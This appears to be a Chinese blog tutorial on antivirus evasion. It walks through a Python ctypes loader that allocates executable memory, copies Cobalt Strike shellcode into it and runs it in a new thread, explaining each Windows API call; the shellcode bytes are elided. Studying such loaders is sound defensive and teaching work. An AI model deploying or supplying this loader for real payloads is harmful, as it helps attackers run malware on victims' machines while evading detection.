[免杀]基于python的shellcode&loader原理研究

shellcode和loader

shellcode是一段用于利用软件漏洞而执行的代码

shellcode loader是用来运行此代码的加载器

shellcode

我们在用cs生成payload时,会生成一段特定编程语言的代码,以python为例

在这里插入图片描述

里面一长串\xfc样式的16进制代码,这就是shellcode

但光有shellcode不行,所以我们需要一个加载器loader才能让他发挥作用。

loader加载器

import ctypes



shellcode = bytearray(b'\xfc\x48.........')

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
ctypes库

python的ctypes模块是内建,用来调用系统动态链接库函数的模块
使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。

读取shellcode
shellcode = bytearray('\xfc\x48.........')
设置返回类型

我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同
想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
申请内存

调用VirtualAlloc函数,来申请一块动态内存区域。
VirtualAlloc函数原型和参数如下:

LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

申请一块内存可读可写可执行

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

各个参数解释

ctypes.c_int(0)是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode))以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000)是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40)是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。
将shellcode载入内存

调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。

RtlMoveMemory函数原型和参数如下:

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

各个参数解释

lpThreadAttributes为NULL使用默认安全性
dwStackSize为0,默认将使用与调用该函数的线程相同的栈空间大小
lpStartAddress为ctypes.c_uint64(ptr),定位到申请的内存所在的位置
lpParameter不需传递参数时为NULL
dwCreationFlags属性为0,表示创建后立即激活
lpThreadId为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL
等待线程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject函数原型和参数如下:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

等待创建的线程运行结束

ctypes.windll.kernel32.WaitForSingleObject(
                                           ctypes.c_int(handle),
                                           ctypes.c_int(-1))

这里两个参数,一个是创建的线程,一个是等待时间

当线程退出时会给出一个信号,函数收到后会结束程序。

当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。

loader原理:申请一块内存,将shellcode写入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。

【此身原本不知愁,最怕万一见温柔】

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值